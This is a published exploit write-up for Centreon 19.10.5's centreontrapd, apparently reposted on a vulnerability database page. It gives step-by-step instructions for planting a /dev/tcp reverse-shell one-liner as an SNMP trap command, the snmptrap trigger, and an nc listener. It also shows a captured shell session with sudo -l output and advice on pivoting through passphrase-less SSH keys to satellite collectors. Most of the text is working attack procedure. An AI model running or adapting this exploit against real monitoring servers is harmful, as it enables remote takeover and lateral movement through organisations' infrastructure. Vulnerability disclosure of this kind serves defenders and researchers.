Lucene search
K

Centreon 19.10.5 Remote Command Execution

🗓️ 29 Jan 2020 00:00:00Reported by Fabien AunayType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 156 Views

Centreon 19.10.5 Remote Command Execution via SNMP Tra

Code
`# Exploit Title: Centreon 19.10.5 - 'centreontrapd' Remote Command Execution   
# Date: 2020-01-29  
# Exploit Author: Fabien AUNAY, Omri Baso  
# Vendor Homepage: https://www.centreon.com/  
# Software Link: https://github.com/centreon/centreon  
# Version: 19.10.5  
# Tested on: CentOS 7  
# CVE : -  
  
###########################################################################################################  
Centreon 19.10.5 Remote Command Execution centreontrapd  
  
Trusted by SMBs and Fortune 500 companies worldwide.  
An industry reference in IT Infrastructure monitoring for the enterprise.  
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.  
Presence in Toronto and Luxembourg.  
Deployed in diverse sectors:  
- IT & telecommunication  
- Transportation  
- Government  
- Heath care  
- Retail  
- Utilities  
- Finance & Insurance  
- Aerospace & Defense  
- Manufacturing  
- etc.  
  
It is possible to get a reverse shell with a snmp trap and gain a pivot inside distributed architecture.  
  
  
Steps:  
Objective 1 : Create a SNMP trap or use linkDown OID with special command in action 3  
Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy  
Objective 3 : Assign service trap relation  
Objective 4 : Get centreon id reverse shell  
  
###########################################################################################################  
  
# Objective 1 : Create or use SNMP trap OID with special command in action 3  
- Configuration > SNMP Traps  
  
[+] Trap name * : linkDown  
[+] OID * : .1.3.6.1.6.3.1.1.5.3  
[+] Special Command : 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121  
  
  
# Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy  
- Configuration > Services > Services by host  
  
[+] Description * : TRAP RCE  
[+] Linked with Hosts * : YOUR-LINKED-HOST  
[+] Check Command * : App-Monitoring-Centreon-Service-Dummy  
[+] DUMMYSTATUS : 0  
[+] DUMMYOUTPUT : 0  
[+] Passive Checks Enabled : YES  
[+] Is Volatile : YES  
[+] Service Trap Relation : Generic - linkDown  
  
  
# Objective 3 : Assign service trap relation  
- Configuration > SNMP Traps  
- linkDown  
- Relations  
  
[+] Linked services : YOUR-LINKED-HOST - SERVICE DESCRIPTION  
  
reload Central  
Reload snmp config  
  
  
# Objective 4 : Get centreon id reverse shell and think lateral  
  
[+] Send your trap  
snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2  
  
TIP: centreontrapd logfile:  
2020-01-29 02:52:33 - DEBUG - 340 - Reading trap. Current time: Wed Jan 29 02:52:33 2020  
2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (DISMAN-EVENT-MIB::sysUpTimeInstance). Will attempt to translate to a numerical OID  
2020-01-29 02:52:33 - DEBUG - 340 - Translated to .1.3.6.1.2.1.1.3.0  
2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (SNMPv2-MIB::snmpTrapOID.0). Will attempt to translate to a numerical OID  
...  
2020-01-29 02:52:33 - DEBUG - 340 - Trap found on service 'TRAP RCE' for host 'supervision_IT'.  
...  
2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launch specific command  
2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launched command: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121  
..  
  
  
NOTE: Read the doc !!!  
https://documentation-fr.centreon.com/docs/centreon/fr/latest/administration_guide/poller/ssh_key.html?highlight=keygen  
  
The centreon id user shares configurations and instructions with satellite collectors trough SSH.  
No passphrase used.  
This allows you to move around the infrastructure after your RCE.  
  
  
POC:  
  
snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2  
  
nc -lvnp 12345  
Ncat: Version 7.50  
Ncat: Listening on :::12345  
Ncat: Listening on 0.0.0.0:12345  
Ncat: Connection from 127.0.0.1.  
Ncat: Connection from 127.0.0.1:38470.  
id  
uid=997(centreon) gid=994(centreon) groups=994(centreon),48(apache),990(centreon-engine),992(centreon-broker)  
sudo -l  
Matching Defaults entries for centreon on centreonlab:  
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,  
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",  
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",  
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",  
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",  
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",  
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty  
  
User centreon may run the following commands on centreonlab:  
(root) NOPASSWD: /sbin/service centreontrapd start  
(root) NOPASSWD: /sbin/service centreontrapd stop  
(root) NOPASSWD: /sbin/service centreontrapd restart  
(root) NOPASSWD: /sbin/service centreontrapd reload  
(root) NOPASSWD: /usr/sbin/service centreontrapd start  
(root) NOPASSWD: /usr/sbin/service centreontrapd stop  
(root) NOPASSWD: /usr/sbin/service centreontrapd restart  
(root) NOPASSWD: /usr/sbin/service centreontrapd reload  
(root) NOPASSWD: /sbin/service centengine start  
(root) NOPASSWD: /sbin/service centengine stop  
(root) NOPASSWD: /sbin/service centengine restart  
(root) NOPASSWD: /sbin/service centengine reload  
(root) NOPASSWD: /usr/sbin/service centengine start  
(root) NOPASSWD: /usr/sbin/service centengine stop  
(root) NOPASSWD: /usr/sbin/service centengine restart  
(root) NOPASSWD: /usr/sbin/service centengine reload  
(root) NOPASSWD: /bin/systemctl start centengine  
(root) NOPASSWD: /bin/systemctl stop centengine  
(root) NOPASSWD: /bin/systemctl restart centengine  
(root) NOPASSWD: /bin/systemctl reload centengine  
(root) NOPASSWD: /usr/bin/systemctl start centengine  
(root) NOPASSWD: /usr/bin/systemctl stop centengine  
(root) NOPASSWD: /usr/bin/systemctl restart centengine  
(root) NOPASSWD: /usr/bin/systemctl reload centengine  
(root) NOPASSWD: /sbin/service cbd start  
(root) NOPASSWD: /sbin/service cbd stop  
(root) NOPASSWD: /sbin/service cbd restart  
(root) NOPASSWD: /sbin/service cbd reload  
(root) NOPASSWD: /usr/sbin/service cbd start  
(root) NOPASSWD: /usr/sbin/service cbd stop  
(root) NOPASSWD: /usr/sbin/service cbd restart  
(root) NOPASSWD: /usr/sbin/service cbd reload  
(root) NOPASSWD: /bin/systemctl start cbd  
(root) NOPASSWD: /bin/systemctl stop cbd  
(root) NOPASSWD: /bin/systemctl restart cbd  
(root) NOPASSWD: /bin/systemctl reload cbd  
(root) NOPASSWD: /usr/bin/systemctl start cbd  
(root) NOPASSWD: /usr/bin/systemctl stop cbd  
(root) NOPASSWD: /usr/bin/systemctl restart cbd  
(root) NOPASSWD: /usr/bin/systemctl reload cbd  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation